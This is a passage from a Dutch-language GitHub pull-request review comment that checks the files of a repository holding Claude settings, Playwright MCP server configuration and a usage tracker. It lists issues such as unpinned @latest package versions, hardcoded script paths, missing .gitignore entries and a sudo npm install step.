@playwright/mcp@latest staat 13x in dit bestand (7x in MCP config, 6x in CLI bash loop). Dit is de canonieke referentie voor de browser pool — als hier een versie gepind wordt, volgt de rest.

Gelinkte bestanden bestaan: ./examples/.mcp.json.example ✓, ./img/mcp-servers-connected.png ✓.


.gitattributes — 56 regels ✓

Standaard LF normalisatie. Windows scripts (bat/cmd/ps1) krijgen CRLF. Binaries correct gemarkeerd. Geen issues.


.gitignore — 4 regels ⚠️

Alleen .idea/ en .claude/settings*.json. Ontbreekt: usage-tracker/logs/*.json en usage-tracker/limits.json (zie eerdere reviews).


global-settings/README.md — 87 regels ✓

Installatie-instructies, versioning policy, en update flow. Compact en correct. Verwijst naar global-claude-settings.md voor de volledige referentie.


global-settings/VERSION — 1 regel ✓

1.5.1 — bump van 1.4.0. OK.


global-settings/settings-repo-ref.example — 1 regel ✓

Bevat main. Template voor ~/.claude/settings-repo-ref.


global-settings/settings-repo-url.example — 1 regel ✓

Bevat ConductionNL/.github. Template voor ~/.claude/settings-repo-url.


usage-tracker/MODELS.md — 134 regels

Hardcoded paden: 12x python3 usage-tracker/claude-usage-tracker.py — zelfde probleem. De shell aliases op r108-111 bevatten zelfs /path/to/project/ als placeholder — fragiel.

80% overlap met README.md en QUICKSTART.md. Kandidaat om te mergen.


docs/claude/examples/.mcp.json.example — 32 regels

Identiek aan de mcpServers sectie in settings.json. @playwright/mcp@latest op alle 7 entries. browser-6 zonder --headless consistent met de rest.


docs/claude/examples/CLAUDE.local.md.example — 30 regels

Bevat placeholder credentials (admin/admin voor local, instructies voor productie-wachtwoorden via 1Password). Dit is correct als template — het is een .example bestand. Het CLAUDE.local.md doelbestand staat niet in .gitignore — maar dat is per-project, niet voor deze repo.


Cross-cutting issues over alle 32 bestanden

Issue Bestanden Severity
@latest ongepind (supply chain) playwright-setup, settings.json, .mcp.json.example, local-llm, getting-started MEDIUM
python3 usage-tracker/... hardcoded README, SETUP, QUICKSTART, MODELS, docs/claude/README MEDIUM
.gitignore mist tracker files .gitignore, alle tracker docs die "git-ignored" claimen MEDIUM
"Today" terminologie verouderd README, QUICKSTART, SETUP tracker docs LOW
docs/claude/README.md te lang (901r) docs/claude/README.md LOW
sudo npm install -g local-llm.md MEDIUM

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants